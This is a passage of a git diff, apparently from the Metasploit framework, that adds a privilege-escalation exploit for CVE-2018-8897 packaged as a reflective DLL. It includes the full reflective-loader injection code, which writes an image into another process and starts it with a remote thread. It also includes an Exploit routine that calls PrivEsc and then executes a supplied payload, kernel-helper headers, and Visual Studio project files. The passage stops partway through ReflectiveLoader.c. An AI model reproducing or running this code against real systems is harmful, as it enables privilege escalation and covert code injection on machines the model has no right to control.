pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef _WIN64 + DWORD dwMeterpreterArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwMeterpreterArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + if( dwMeterpreterArch != 1 ) + return 0; + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + if( dwMeterpreterArch != 2 ) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + // Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only. + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/external/source/exploits/cve-2018-8897/dll/inject/src/LoadLibraryR.h b/external/source/exploits/cve-2018-8897/dll/inject/src/LoadLibraryR.h new file mode 100644 index 0000000000..5c44b02060 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/inject/src/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2018-8897/dll/inject/~AutoRecover.inject.vcxproj b/external/source/exploits/cve-2018-8897/dll/inject/~AutoRecover.inject.vcxproj new file mode 100755 index 0000000000..56e5b47275 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/inject/~AutoRecover.inject.vcxproj @@ -0,0 +1,256 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {EEF3FD41-05D8-4A07-8434-EF5D34D76335} + inject + Win32Proj + inject + + + + Application + v120 + MultiByte + true + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + Application + v120 + Unicode + + + Application + v120 + MultiByte + true + + + Application + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + ../common + + + true + Console + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + ../common + + + true + Console + + + + + X64 + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + ../common + + + true + Console + MachineX64 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + + + true + Console + true + true + MachineX86 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + ../common + + + true + Console + true + true + $(OutDir)inject.arm.exe + %(AdditionalDependencies) + + + + + X64 + + + MaxSpeed + true + WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + + + $(OutDir)inject.x64.exe + true + Console + true + true + MachineX64 + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/rdi.sln b/external/source/exploits/cve-2018-8897/dll/rdi.sln new file mode 100755 index 0000000000..b575819a8d --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi.sln @@ -0,0 +1,48 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "rdi\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|ARM = Release|ARM + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Release|ARM + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.Build.0 = Release|ARM + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|ARM + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.Build.0 = Release|ARM + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/reflective_dll.vcxproj b/external/source/exploits/cve-2018-8897/dll/rdi/reflective_dll.vcxproj new file mode 100755 index 0000000000..938dba90a3 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/reflective_dll.vcxproj @@ -0,0 +1,278 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949} + reflective_dll + Win32Proj + + + + DynamicLibrary + v120 + MultiByte + true + + + DynamicLibrary + v120 + MultiByte + true + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + v120 + Unicode + + + DynamicLibrary + v120 + MultiByte + false + + + DynamicLibrary + v120 + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + EditAndContinue + ../common + + + true + Windows + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + ../common + + + true + Windows + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + Level3 + ProgramDatabase + ../common + + + true + Windows + MachineX64 + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + + + true + Windows + true + true + MachineX86 + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + true + Default + ProgramDatabase + ../common + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + ../common + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/reflective_dll.vcxproj.filters b/external/source/exploits/cve-2018-8897/dll/rdi/reflective_dll.vcxproj.filters new file mode 100755 index 0000000000..b9faea0bf2 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/reflective_dll.vcxproj.filters @@ -0,0 +1,61 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/Error.h b/external/source/exploits/cve-2018-8897/dll/rdi/src/Error.h old mode 100644 new mode 100755 similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/Error.h rename to external/source/exploits/cve-2018-8897/dll/rdi/src/Error.h diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploit.cpp b/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploit.cpp new file mode 100755 index 0000000000..3d0fed71fe --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploit.cpp @@ -0,0 +1,19 @@ +// Exploit.cpp : Defines the entry point for the console application. +// +#include +#include "Exploit.h" +#include "Exploiter.h" + +static VOID ExecutePayload(LPVOID lpPayload) +{ + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return; +} + +VOID Exploit(LPVOID lpPayload) +{ + PrivEsc(); + ExecutePayload(lpPayload); +} + diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploit.h b/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploit.h new file mode 100755 index 0000000000..989b686845 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploit.h @@ -0,0 +1,6 @@ +#ifndef EXPLOIT_H +#define EXPLOIT_H +extern "C" __declspec (dllexport) void PrivEsc(void); + +VOID Exploit(LPVOID lpPayload); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploiter.h b/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploiter.h new file mode 100755 index 0000000000..054095bb8e --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/Exploiter.h @@ -0,0 +1,4 @@ +#ifndef EXPLOITER_H +#define EXPLOITER_H +static VOID ExecutePayload(LPVOID lpPayload); +#endif \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/KernelRoutines.h b/external/source/exploits/cve-2018-8897/dll/rdi/src/KernelRoutines.h new file mode 100755 index 0000000000..ad4bd822a4 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/KernelRoutines.h @@ -0,0 +1,63 @@ +#pragma once +#include +#include +#include +#include +#include "NtDefines.h" + +struct KernelContext +{ + HMODULE NtLib; + uint64_t NtBase; + + template + T GetProcAddress( const char* Proc ) + { + FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc ); + + if ( !LocProc ) + return ( T ) ( nullptr ); + + uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib ); + + return ( T ) ( this->NtBase + Delta ); + } +}; + +static KernelContext* Kr_InitContext() +{ + KernelContext* Kc = new KernelContext; + + std::vector Buffer( 1024 * 1024 ); + + ULONG ReqSize = 0; + + do + { + if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) ) + break; + + Buffer.resize( ReqSize * 2 ); + } + while ( ReqSize > Buffer.size() ); + + SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data(); + + char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName; + + Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase; + Kc->NtLib = LoadLibraryA( KernelFileName ); + + if ( !Kc->NtBase || !Kc->NtLib ) + { + delete Kc; + return 0; + } + + return Kc; +} + +static void Kr_FreeContext( KernelContext* Ctx ) +{ + delete Ctx; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/LockedMemory.h b/external/source/exploits/cve-2018-8897/dll/rdi/src/LockedMemory.h new file mode 100755 index 0000000000..9b82abe01c --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/LockedMemory.h @@ -0,0 +1,81 @@ +#pragma once +#include +#include +#include "NtDefines.h" + +#pragma section(".LDATA", read, write) +#pragma section(".LTEXT", read, write, execute) + +#pragma data_seg(".LDATA$1") +#pragma data_seg(".LDATA$2") +#pragma data_seg(".LDATA$3") +#pragma data_seg() + +#pragma code_seg(".LTEXT$1") +#pragma code_seg(".LTEXT$2") +#pragma code_seg(".LTEXT$3") +#pragma code_seg() + +__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0; +__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0; + +__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0; +__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0; + + +#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) ) +#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline) +#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE + +// Mini non-paged crt +#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size ) +#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size) +#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size) + +#pragma comment(linker,"/MERGE:.LDATA=.data") +#pragma comment(linker,"/MERGE:.LTEXT=.text") + +// Routines to lock the pages +static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size ) +{ + SIZE_T Min, Max; + if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) ) + return FALSE; + if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) ) + return FALSE; + return TRUE; +} + +static BOOL Np_TryLockPage( PVOID Page ) +{ + if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) ) + return FALSE; + if ( VirtualLock( Page, 0x1000 ) ) + return TRUE; + if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) ) + return FALSE; + return VirtualLock( Page, 0x1000 ); +} + +static BOOL Np_LockRange( PVOID From, PVOID To ) +{ + PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) ); + PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) ); + + for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 ) + { + if ( !Np_TryLockPage( Current ) ) + { + return FALSE; + } + } + return TRUE; +} + +static BOOL Np_LockSections() +{ + + return + Np_LockRange( &Np_DataStart, &Np_DataEnd ) && + Np_LockRange( &Np_TextStart, &Np_TextEnd ); +} diff --git a/external/source/exploits/cve-2018-8897-exe/Native.asm b/external/source/exploits/cve-2018-8897/dll/rdi/src/Native.asm old mode 100644 new mode 100755 similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/Native.asm rename to external/source/exploits/cve-2018-8897/dll/rdi/src/Native.asm diff --git a/external/source/exploits/cve-2018-8897-exe/Native.h b/external/source/exploits/cve-2018-8897/dll/rdi/src/Native.h old mode 100644 new mode 100755 similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/Native.h rename to external/source/exploits/cve-2018-8897/dll/rdi/src/Native.h diff --git a/external/source/exploits/cve-2018-8897-exe/NtDefines.h b/external/source/exploits/cve-2018-8897/dll/rdi/src/NtDefines.h old mode 100644 new mode 100755 similarity index 100% rename from external/source/exploits/cve-2018-8897-exe/NtDefines.h rename to external/source/exploits/cve-2018-8897/dll/rdi/src/NtDefines.h diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveDll.c b/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveDll.c new file mode 100755 index 0000000000..25b483b7d2 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveDll.c @@ -0,0 +1,35 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; +//===============================================================================================// +#include "Exploit.h" + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + //MessageBox(0, "In DLLMain", "Status", MB_OK); + Exploit(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveLoader.c b/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveLoader.c new file mode 100644 index 0000000000..c192696970 --- /dev/null +++ b/external/source/exploits/cve-2018-8897/dll/rdi/src/ReflectiveLoader.c @@ -0,0 +1,599 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name 